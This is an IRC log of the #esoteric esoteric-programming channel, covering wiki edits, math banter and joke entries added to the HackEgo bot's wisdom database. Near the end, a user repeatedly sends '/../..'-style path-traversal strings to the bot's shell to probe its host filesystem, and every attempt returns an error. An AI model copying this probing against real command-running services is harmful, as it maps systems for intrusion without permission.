13:22:36 <HackEgo> [wiki] [[User:Ais523]] https://esolangs.org/w/index.php?diff=51665&oldid=51174 * Ais523 * (+20) +[[But Is It Art?]]
13:28:42 <HackEgo> [wiki] [[But Is It Art?]] M https://esolangs.org/w/index.php?diff=51666&oldid=51664 * Int-e * (+1) /* Syntax */ presumably you meant this
13:33:01 <b_jonas> fizzie: I can't log in to esolangs again. This time it says "There seems to be a problem with your login session; this action has been canceled as a precaution against session hijacking. Go back to the previous page, reload that page and then try again.". I'm accessing via http (not https).
13:35:33 <b_jonas> so ais made another language
13:38:23 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51667&oldid=51663 * B jonas * (+29)
13:38:42 <b_jonas> fizzie: hmm, but I can log in on https://esolangs.org/ so it seems like the problem is only with http
13:38:47 <b_jonas> though it could be some client-side stuff
13:41:07 <HackEgo> [wiki] [[V (DJMcMayhem)]] https://esolangs.org/w/index.php?diff=51668&oldid=50731 * B jonas * (+97)
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14:09:33 <fizzie> b_jonas: I've noticed some funkiness with the session handling when it comes to mixing http and https, though I've definitely not gotten to the bottom of it.
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14:50:19 <HackEgo> [wiki] [[Semantic Brain]] https://esolangs.org/w/index.php?diff=51669&oldid=47236 * SilverWingedSeraph * (+16) /* Commands and Source Code */ Update to BrainFuck semantics.
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14:52:23 <HackEgo> [wiki] [[Semantic Brain]] M https://esolangs.org/w/index.php?diff=51670&oldid=51669 * SilverWingedSeraph * (+43) /* Commands and Source Code */ Clarify semantic equivalence.
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15:04:29 <moonythedwarf> On a scale of 1 to 10, how likely is it that this question is using binary?
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15:23:41 <rdococ> moonythedwarf: I maintain that the answer is 2.
15:24:53 <moonythedwarf> oh, you didnt see the discussion in #xkcd? ok then
15:24:58 <rdococ> I didn't look in xkcd, or even #xkcd for that matter.
15:25:07 <rdococ> Wanna hear my reasoning?
15:25:29 <moonythedwarf> already heard the reasoning of 4 diffrent people in #xkcd for the number '2'
15:27:08 <b_jonas> If I started to use the names of heroes of myth as codenames for tech stuff, and then I use bad design just so the naming can fit the family trees of those heros, how bad is that on a scale of 0 to 1?
15:28:28 <rdococ> b_jonas: depends if it's on april fools day
15:28:50 <b_jonas> rdococ: it lasts for way more than a day.
15:29:29 <rdococ> have fun determining if that's binary
15:31:12 <rdococ> b_jonas, depends how large-scale the tech stuff is
15:32:13 <rdococ> bad design in a program designed specifically to, idk, fart while skydiving without a parachute, is not as bad as bad design in an OS
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17:36:45 <rdococ> `le//rn 10//10 = 10 in every base
17:36:51 <HackEgo> Learned '10': 10 = 10 in every base
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18:13:38 <rdococ> oh yay it wasn't reverted
18:26:39 <HackEgo> [wiki] [[Talk:But Is It Art?]] N https://esolangs.org/w/index.php?oldid=51671 * Int-e * (+629) Created page with "This language fails to be IO-complete in a, perhaps, interesting way: Whenever (I,O) is a valid input/output pair, then so is (I<sup>k</sup>,O<sup>k</sup>) for any k > 0. So,..."
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19:16:49 <rdococ> I have an idea for independent random variables
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19:33:42 <rdococ> functions that create independent random variables will take the random results as arguments and return their result
19:38:01 <rdococ> (these are independent random bits, btw)
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19:42:04 <rdococ> To compute the percentage of the function returning true, you would enumerate in binary style
19:42:30 <rdococ> and to compare two such functions, enumerate both in sync and see if they equal at every point
19:42:57 * hppavilion[1] . o O ( Is there an analog of Bayes's Theorem for probability amplitudes )
19:44:01 <rdococ> . o O ( Hppavilion's theorem )
19:45:02 <hppavilion[1]> Remavas-PC: ...yeah, I figured it'd probably boil down to something along the lines of "Yes, there is. It's the exact same though."
19:45:23 <hppavilion[1]> Remavas-PC: Wait, squaring the amplitudes or squaring the absolute values?
19:45:29 <rdococ> The Remavas-Hppavilion Theorem :P
19:46:18 <rdococ> a multiplicational difference of -1
19:47:10 <rdococ> hppavilion[1]: I read some cultures view the number line logarithmically as opposed to linearly. imagine the implications of that.
19:47:23 <rdococ> Difference = |subtraction|
19:47:38 <rdococ> hppavilion[1]: yes but imagine a culture whose math was based on numbers like that
19:48:24 <rdococ> hppavilion[1]: Say you asked them a question like, "What is the number half way between 1 and 9?" I read that some of them would say "3" rather than "5", because 3x3 is 9
19:48:57 <hppavilion[1]> rdococ: That sounds more like a different meaning of the phrase "half way between" than a different type of number
19:48:57 <rdococ> now, imagine a technologically advanced culture whose basic arithmetic is based on that.
19:49:13 <Remavas-PC> That would imly they find multipication more important than addition
19:49:23 <hppavilion[1]> rdococ: Our arithmetic is based on that, but we call it "roots".
19:49:42 <rdococ> hppavilion[1]: You mean they're the roots of arithmetic? :P
19:49:58 <hppavilion[1]> We use exponents a lot. We just don't think of them _first_ when you say "halfway"
19:50:14 <HackEgo> #esoteric is the only channel that exists. After monqy left it became slightly off-centër. It's a 7-codimensional hyperenchilada about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. Currently located in the Atlantis Exclusion Zone.
19:50:37 <hppavilion[1]> How many vertices does a 7-codimensional hyperenchildada have again?
19:51:16 <hppavilion[1]> [Not the hyperenchilada part; the "7-codimensional" without giving what it's codimensional with respect /to/.]
19:51:52 <hppavilion[1]> Remavas-PC: It probably means with respect to our 4-dimensional outerverse.
19:52:13 <rdococ> . o O ( codimension? )
19:53:36 <hppavilion[1]> rdococ: Also, most of our senses are logarithmic; "are there 1 or 2 lions in those bushes‽" is a lot more important a question than "are there 71 or 72 lions in those bushes‽"
19:53:44 <rdococ> hppavilion[1]: That is true.
19:53:53 <hppavilion[1]> (but infinitely less important than "are there 41 or 42 lions in those bushes‽", but that's a special case)
19:54:10 <Remavas-PC> Our eyes operate on logarithmic brightness levels
19:54:18 <rdococ> Okay, okay, we're logarithmic.
19:54:29 <rdococ> But we still count on a linear number line.
19:54:58 <rdococ> So, imagine a culture whose number line is 1 - 2 - 4 - 8 - 16 - ... or even 1 - 3 - 9 - 27 - ...
19:55:17 <hppavilion[1]> I'm going to model a normal 2-Enchilada as a Lens-based Prysm
19:55:53 <Remavas-PC> Because how do they count sheep then :)
19:56:21 <rdococ> Remavas-PC: One sheep, two sheep, let them reproduce! Four sheep, eight sheep, let them reproduce! Sixteen sheep, thirty two sheep, let them reproduce!
19:56:55 <rdococ> Remavas-PC: and 32 - 16 = 1 :P
19:57:52 <Remavas-PC> We all should count using prime numbers...duh
19:58:38 <hppavilion[1]> Do androids wet dream of electric sheep factories?
19:58:54 <HackEgo> factory factory? ¯\(°_o)/¯
19:58:56 <hppavilion[1]> Answer: No; if they had a wet dream, they would short circuit and die
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20:00:26 <Remavas-PC> Has HackEgo got a brainf*ck interpreter?
20:00:50 <fungot> hppavilion[1]: kabuto: the shinto sun goddess amaterasu, he soon turned it into a locked shop. therefore, my child--i should say miladi? whatever is inside it.
20:02:03 <hppavilion[1]> rdococ: In my culture, the number line is 1.0 - 2.718281828459045 - 7.3890560989306495 - 20.085536923187664 - 54.59815003314423 - 148.41315910257657 - 403.428793492735
20:02:14 <hppavilion[1]> Remavas-PC: Also, please, refer to the language by its proper name.
20:02:25 <rdococ> hppavilion[1]: Nice. Natural exponentiation.
20:02:55 <rdococ> I looked it up in my logs
20:03:11 <rdococ> it was for saying cun with a t on the end
20:03:23 <rdococ> which is strange, because fuck is allowed (e.g. brainfuck)
20:04:01 <rdococ> I will invent a new swear word
20:05:13 <rdococ> `le//rn phrel//Phrel is a swear word rdocscovered in 2018. It refers to a fluid that holds seeds.
20:05:15 <HackEgo> Learned 'phrel': Phrel is a swear word rdocscovered in 2018. It refers to a fluid that holds seeds.
20:05:56 <hppavilion[1]> Only those weird fuckers to the north use natural counting for numbers
20:06:02 <hppavilion[1]> Our number line here goes 1.0 - 2.6382270745053704 - 6.9602420966531655 - 18.362699144502407 - 48.44497004402285 - 127.80883159374271 - 337.1887198715094
20:06:11 <hppavilion[1]> (the meaning of that is left as an exercise to the reader)
20:06:16 <rdococ> But natural counting is natural!
20:06:56 <rdococ> I don't see how you can all put up with your fancy fractions.
20:07:13 <rdococ> My species counts with powers of 2: nice and simple. It makes sense - it's the cell division constant.
20:08:07 <rdococ> @oeis 1.0 2.6382270745053704 6.9602420966531655 18.362699144502407
20:08:41 <rdococ> Remavas-PC: Your culture is odd. Just count with powers of 2!
20:09:07 <lambdabot> Plugin `oeis' failed with: <<timeout>>
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20:27:53 <HackEgo> Usage: `le/[/]rn <key>//<wisdom>
20:27:58 <HackEgo> Codependency is a programmer disease caused by having too much code pending.
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20:34:09 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters.
20:34:24 <rdococ> `le//rn cocoa//A is a village in Norway. The BBC invented it by not understanding things on top of letters.
20:34:26 <HackEgo> Learned 'cocoa': A is a village in Norway. The BBC invented it by not understanding things on top of letters.
20:34:33 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51672&oldid=51646 * Orby * (+150)
20:35:31 <rdococ> `le//rn supersymmetry//Supersymmetry is an obsessive cleaning disorder only diagnosed to physicists.
20:35:33 <HackEgo> Learned 'supersymmetry': Supersymmetry is an obsessive cleaning disorder only diagnosed to physicists.
20:36:05 <rdococ> helloteric; what do you think about these?
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20:37:26 <rdococ> `le//rn IP//Your IP address is a pointer to the current instruction.
20:37:28 <HackEgo> Learned 'ip': Your IP address is a pointer to the current instruction.
20:38:38 <Taneb> Instruction pointer address
20:39:06 <rdococ> `le//rn IP//Your IP address is the address of the pointer to the current instruction.
20:39:08 <HackEgo> Relearned 'ip': Your IP address is the address of the pointer to the current instruction.
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20:45:19 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: leran: not found
20:45:26 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: learm: not found
20:46:57 <wob_jonas> wtf they changed met.hu or something?
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20:53:57 <wob_jonas> where did they hide the daily textual whole country predictions?
20:54:49 <wob_jonas> ok, found it, but damn them for the link churn and worse interface and stupid javascript stuff
20:56:00 <HackEgo> Rdocscoveries include footballs, how bored one person can get, and Budapest.
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21:11:54 <wob_jonas> I want to buy cheap earbud style headphones with an analog dial control built in, but they're both rare and very hard to search for, because "volume control" usually refers to remote controlling your phone with signals from switches on the headphone hardware, and "dial" usually refers to remote controlling phone calls on your phone with signals fro
21:11:54 <wob_jonas> m switches on the headphone hardware.
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21:16:30 * hppavilion[1] ♩ 𝅗𝅥 𝅝 ( Is it possible to have a cycloid wave as the encoding of some tone )
21:16:55 <hppavilion[1]> (or more accurately, does it sound good in a distinct way?)
21:18:00 <rdococ> One sheep, two sheep, four sheep, eight sheep.
21:18:11 <rdococ> Sixteen sheep, thirty two sheep, sixty four sheep, one hundred and twenty eight sheep.
21:18:40 <HackEgo> ` is the prefix to greatness.
21:19:58 <hppavilion[1]> rdococ: Did you happen to have some precooked canned pork for lunch?
21:21:06 <HackEgo> [wiki] [[Special:Log/newusers]] create * Xav737 * New user account
21:21:33 <HackEgo> Learned 'emoticon': emoticon: ¯\(°_o)/¯
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21:22:15 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/lowercase2
21:22:31 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/lowercase2
21:22:45 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/lowercase
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21:25:48 <HackEgo> bin/lowercase2//#!/bin/bash \ print_args_or_input "$@" | tr A-Z a-z | LANG=en_NZ.UTF-8 sed 'y/ØÅÆŒÞÐÄÖÜÁÉÍÓÚÝŁ/øåæœþðäöüáéíóúý/'
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21:26:19 <HackEgo> bin/lowercase2//#!/bin/bash \ print_args_or_input "$@" | tr A-Z a-z | LANG=en_NZ.UTF-8 sed 'y/ØÅÆŒÞÐÄÖÜÁÉÍÓÚÝŁ/øåæœþðäöüáéíóúýł/'
21:26:53 <rdococ> `le//rn þorn grows around roses.
21:26:53 <HackEgo> Usage: `le/[/]rn <key>//<wisdom>
21:27:01 <rdococ> `le//rn þorn//Þorn grows around roses.
21:27:03 <HackEgo> Learned 'þorn': Þorn grows around roses.
21:27:55 <hppavilion[1]> rdococ: I think the standard pun involving Þorn is 'porn'
21:28:07 <HackEgo> #!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo '`'"$topic" | sed 's/^`\(`\|$\)//') \ topic2=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic2"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic"; \ elif [ -e "$topic
21:28:29 <HackEgo> bin/¿//\? "$@" | rev | tac
21:28:43 <HackEgo> bin/?//#!/bin/bash \ topic=$(echo "$1" | lowercase2 | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo '`'"$topic" | sed 's/^`\(`\|$\)//') \ topic2=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic2"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic"; \ elif [ -e "$
21:29:27 <HackEgo> Y is a commune in France. There's nothing funny about this.
21:31:18 <hppavilion[1]> (Hm, should ? be case sensitive if possible, but fallback on lowercasing? So if the existent wisdom entries are {a: "hi.", b: "fuck off", A: "HI!"}, ? a yields "hi.", ? b yields "fuck off", ? A yields "HI!", and ? B yields "fuck off"
21:33:04 <wob_jonas> `slashlearn vacuum tube//After the London terrorist attacks of 2005, the Underground was completely evacuated. Without air resistance, the trains would go at blazingly fast speeds between the terminals. This is called a vacuum tube. Sadly, current technology doesn't let passengers travel that way.
21:33:06 <HackEgo> Learned 'vacuum tube': After the London terrorist attacks of 2005, the Underground was completely evacuated. Without air resistance, the trains would go at blazingly fast speeds between the terminals. This is called a vacuum tube. Sadly, current technology doesn't let passengers travel that way.
21:34:37 <int-e> wob_jonas: https://en.wikipedia.org/wiki/Hyperloop <-- it's not really current technology, but are you aware of this?
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21:36:08 <wob_jonas> int-e: I was rather trying to refer to the concept of vacuum trainson earth's surface as likely future technology. Expensive to build, but may be cheaper than aviation on crowded lines in the long term.
21:36:45 <wob_jonas> I'm not sure how this hyperloop thing differs from it. Sounds like a new fancy sounding name for an old concept to sell it.
21:37:02 <int-e> . o O ( Hyperloop is a concept for a high energy particle accelerator. )
21:39:14 <wob_jonas> Or maybe it's a more detailed specific plan of an instance of vac train line.
21:40:31 <int-e> If I haven't messed up my calculation, a bullet fired from a .357 Magnum has about 5 ZeV...
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21:40:45 <int-e> in kinetic energy.
21:45:28 <wob_jonas> feel free to improve that wisdom entry, I know the phrasing isn't the best.
21:46:56 <wob_jonas> what's so hard in including an analog dial resistor thingy in the fucking earphones, east asian electronics guys!
21:50:28 <HackEgo> [wiki] [[Talk:But Is It Art?]] https://esolangs.org/w/index.php?diff=51673&oldid=51671 * Ais523 * (+790) reply
21:51:23 <hppavilion[1]> If my math is correct, the set of n×n matrices (for all natural n) forms a vector space over (pretty much any field) with straightforward addition and multiplication
21:51:35 <HackEgo> [wiki] [[But Is It Art?]] https://esolangs.org/w/index.php?diff=51674&oldid=51666 * Ais523 * (+182) /* Computational class */ clarify; the previous text was a bit misleading
21:52:05 <hppavilion[1]> But what would be interesting is a structure (maybe a "vector space space"?) that describes *all* matrices
21:52:22 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51675&oldid=51654 * Xav737 * (+198) Post my intro
21:52:26 <rdococ> Take your normal AND gate, designed for a low 0 and high 1 system. Put it in a low 1 and high 0 system. what happens?
21:52:56 <hppavilion[1]> A VSS is a set of vector spaces together with a function f
21:53:00 <HackEgo> [wiki] [[Esolang:Introduce yourself]] M https://esolangs.org/w/index.php?diff=51676&oldid=51675 * Xav737 * (+56)
21:53:18 <hppavilion[1]> If you f is defined to combine elements of two vector spaces into elements of a third, but isn't necessarily defined for all pairs of vector spaces
21:53:37 <HackEgo> [wiki] [[HBL]] M https://esolangs.org/w/index.php?diff=51677&oldid=50431 * Xav737 * (+182)
21:54:00 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
21:54:12 <hppavilion[1]> But if a, b, and c are elements of vector spaces A, B, and C respectively and f(a, b) = c, then f is defined for all pairs of elements from A and B and is equal to an element of C
21:54:30 <rdococ> . o O ( and gate w/o transistors? )
21:55:12 <rdococ> what are some examples of AND gates constructed without transistors?
21:57:48 <rdococ> btw it has to be electronic
21:59:20 <hppavilion[1]> rdococ: No idea of some non-electric ones. Define "electric"
21:59:50 <hppavilion[1]> rdococ: Like, I could have a hose with two valves, and have an electric motor that opens the valves and a gravity-based device that closes them
22:00:30 <int-e> http://hackaday.com/2014/05/30/using-pulleys-and-weights-to-explain-binary-logic-gates/ comes to mind
22:00:37 <rdococ> hppavilion[1]: It doesn't matter how the AND gate functions, it just matters that it takes in two electronic signals, and outputs an electronic signal equivalent to the wanted result.
22:00:53 <rdococ> As long as it has no transistors.
22:01:06 <hppavilion[1]> rdococ: OK, that's what I expressed. Just add a generator to the hose.
22:01:56 <rdococ> int-e, hppavilion[1]: The point is, the AND gate should output like real AND gates - with a non-zero low value.
22:03:25 <rdococ> Okay, I'll admit: what I'm trying to do is figuring out how you would construct computers without transistors. But rather than tackling it directly, "NAND gates without transistors?", I took a different approach.
22:05:40 -!- hppavilion[1] has quit (Ping timeout: 245 seconds).
22:09:31 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:09:40 -!- `^_^v has joined.
22:14:32 <rdococ> `le//rn I'n//I'n is a contraction of "I'm in" rdocscovered in the early 23rd century.
22:14:34 <HackEgo> Learned 'i'n': I'n is a contraction of "I'm in" rdocscovered in the early 23rd century.
22:20:06 -!- orby_ has joined.
22:20:31 -!- hppavilion[1] has joined.
22:24:43 <HackEgo> At is a daemon for procrastinating commands.
22:24:45 -!- hppavilion[1] has set topic: Noose: 56 countries still perform capital punishment | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
22:25:36 <rdococ> `le//rn w//A w is everything a cow isn't.
22:25:38 <HackEgo> Learned 'w': A w is everything a cow isn't.
22:26:22 <hppavilion[1]> rdococ: ...do you have a dictionary open to the 'co-' section?
22:26:30 <rdococ> `le//rn pe//To pe, is to not cope.
22:26:32 <HackEgo> Learned 'pe': To pe, is to not cope.
22:27:22 <rdococ> hppavilion[1]: Actually, yes, in a way: https://en.wiktionary.org/wiki/co-
22:29:09 <HackEgo> The absolute value of a number, also known as its cosign, is its distance from zero regardless of direction. It shouldn't be negative, but Sgeo is trying to break that.
22:29:29 <rdococ> . o O ( coabs = sign )
22:29:42 <HackEgo> absolute value//The absolute value of a number, also known as its cosign, is its distance from zero regardless of direction. It shouldn't be negative, but Sgeo is trying to break maths.
22:30:01 <HackEgo> @ is an OS made out of only the finest vapour.
22:30:02 <rdococ> I like how it's a cosign
22:30:09 <HackEgo> A tip is [ $ ] if you're American, [ £ ] if you're British, and if you're Japanese.
22:30:24 <rdococ> Wanna see my entry for cocoa?
22:30:40 <rdococ> hppavilion[1]: I know, I find that pretty cool too :P
22:31:02 <rdococ> You should really type `? cocoa
22:31:12 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters.
22:32:10 <rdococ> I wanted to make a joke about ats, but at was already taken.
22:32:28 -!- orby has quit (Ping timeout: 260 seconds).
22:35:02 <hppavilion[1]> exempli gratia names like Kim Dotcom, but for different TLDs
22:37:29 <hppavilion[1]> "I recognize the importance of stupid jokes, and that's why I'm voting Joe Dotgov for president in 1749.3713156445663+1010i"
22:38:11 <hppavilion[1]> (I also support Cosen. Dotgov's prospectiv[e Department of Defense nominee, General George Dotmil)
22:39:30 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...).
22:39:53 <HackEgo> coextrapolation? ¯\(°_o)/¯
22:40:08 <hppavilion[1]> (Though I question choices in the appointment of Clarence Period-Commercial for Department of Education, as I fear he may be too prescriptivist about language)
22:40:32 <hppavilion[1]> (And his ties to Vladimir Dotaryoo are a bit concerning)
22:42:21 <rdococ> YOUR FUNNY IS ACKNOWLEDGED
22:42:48 <rdococ> (HOWEVER LITTLE OF IT THERE IS)
22:43:55 <rdococ> `le//rn ke//Ke is an anti-soda campaign rdocscovered in the 93rd millenium I.C.E. Rdococ doesn't support it.
22:43:57 <HackEgo> Learned 'ke': Ke is an anti-soda campaign rdocscovered in the 93rd millenium I.C.E. Rdococ doesn't support it.
22:44:29 -!- boily has joined.
22:44:43 <rdococ> `le//rn ice//I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear timeline.
22:44:45 <HackEgo> Learned 'ice': I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear timeline.
22:45:12 <rdococ> `le//rn ice//I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear axis.
22:45:14 <HackEgo> Relearned 'ice': I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the linear axis.
22:45:21 <rdococ> `le//rn ice//I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the real axis.
22:45:23 <HackEgo> Relearned 'ice': I.C.E. stands for Imaginary Christian Era. It covers the forgotten period of time that is not on the real axis.
22:45:34 * rdococ really wishes he knew the other commands better.
22:46:00 <boily> rdochelloc. it's Intrusion Countermeasures Electronics hth
22:46:54 <rdococ> hoily, are you seriously going to ignore a whole historical timeplane which could give us insight into the universe, the iuniverse and the couniverse, just to stop intruders?
22:47:43 <rdococ> hppavilion[1]: ik it's slwd but the last time I used it I messed it up
22:47:53 * rdococ needs syntactical help
22:49:02 <rdococ> `le//rn il//An il is a cohelix of pper wire.
22:49:05 <HackEgo> Learned 'il': An il is a cohelix of pper wire.
22:49:07 <hppavilion[1]> rdococ: You clearly know the mmands pretty well though
22:49:21 <rdococ> hppavilion[1]: yes, but the problem is, I also coknow the commands well
22:50:17 <rdococ> hppavilion[1]: Would you prefer a cojoke?
22:50:49 <rdococ> hppavilion[1]: Er... Cokay.
22:54:39 <rdococ> `le//rn OTL//OTL is a man sitting sideways on air.
22:54:41 <HackEgo> Learned 'otl': OTL is a man sitting sideways on air.
22:59:54 <rdococ> `le//rn codo//The codo button is the dodo's undo button.
22:59:56 <HackEgo> Learned 'codo': The codo button is the dodo's undo button.
23:07:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
23:11:37 <HackEgo> Baby don't hurt me, don't hurt me no more
23:11:42 <HackEgo> ‘Life,’ said Marvin, ‘don't talk to me about life.’
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23:17:41 <HackEgo> Quotes are just elements of the quantum dilapidated bogosphere. See qdb.
23:17:48 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /: cannot execute: Is a directory
23:17:51 <HackEgo> qdb is used like: `quote; `quote regexp; `quote id; `addquote ...; `delquote id; `pastequotes regexp; `pastenquotes [n]; see also quoteformat
23:18:11 <rdococ> `/home/hackbot/hackbot.hg/multibot_commands/lib/limits/
23:18:12 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /home/hackbot/hackbot.hg/multibot_commands/lib/limits/: No such file or directory
23:18:23 <rdococ> `/home/hackbot/hackbot.hg/multibot_commands/lib/limits
23:18:23 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /home/hackbot/hackbot.hg/multibot_commands/lib/limits: No such file or directory
23:18:35 -!- AnotherTest has quit (Ping timeout: 245 seconds).
23:18:37 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /..: cannot execute: Is a directory
23:20:30 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../lock: No such file or directory
23:20:51 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../..: cannot execute: Is a directory
23:20:54 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../..: cannot execute: Is a directory
23:20:57 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../..: cannot execute: Is a directory
23:21:00 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../dir: No such file or directory
23:21:10 <HackEgo> invalid command ( ͡° ͜ʖ ͡°)
23:21:23 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /..: cannot execute: Is a directory
23:21:39 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../tr_60.cd: No such file or directory
23:21:41 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../tr_60.cmd: No such file or directory
23:21:52 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../..: cannot execute: Is a directory
23:21:54 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../..: cannot execute: Is a directory
23:24:29 <flawful> it was starting to get interesting
23:27:23 <rdococ> `/../../../../../../..
23:27:24 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../..: cannot execute: Is a directory
23:27:26 <rdococ> `/../../../../../../../..
23:27:26 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../..: cannot execute: Is a directory
23:27:28 <rdococ> `/../../../../../../../../..
23:27:29 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../..: cannot execute: Is a directory
23:27:31 <rdococ> `/../../../../../../../../../..
23:27:31 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../..: cannot execute: Is a directory
23:27:33 <rdococ> `/../../../../../../../../../../..
23:27:34 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../..: cannot execute: Is a directory
23:27:41 <rdococ> `/../../../../../../../../../../../..
23:27:41 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../..: cannot execute: Is a directory
23:27:43 <rdococ> `/../../../../../../../../../../../../..
23:27:44 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../..: cannot execute: Is a directory
23:27:46 <rdococ> `/../../../../../../../../../../../../../..
23:27:46 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../..: cannot execute: Is a directory
23:27:49 <rdococ> `/../../../../../../../../../../../../../../..
23:27:50 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../../..: cannot execute: Is a directory
23:27:53 <rdococ> `/../../../../../../../../../../../../../../../..
23:27:54 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../../..: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../../../..: cannot execute: Is a directory
23:28:09 <rdococ> `/../../../../../../../../../../../../../../../../bin
23:28:09 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../../../bin: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /../../../../../../../../../../../../../../../../bin: cannot execute: Is a directory
23:28:12 <rdococ> `/../../../../../../../../../../../../../../../../bia
23:28:13 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../../../../../../../../../bia: No such file or directory
23:28:22 <rdococ> `/../../../../../../../../..bin
23:28:23 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /../../../../../../../../..bin: No such file or directory
23:28:24 <rdococ> `/../../../../../../../../../bin
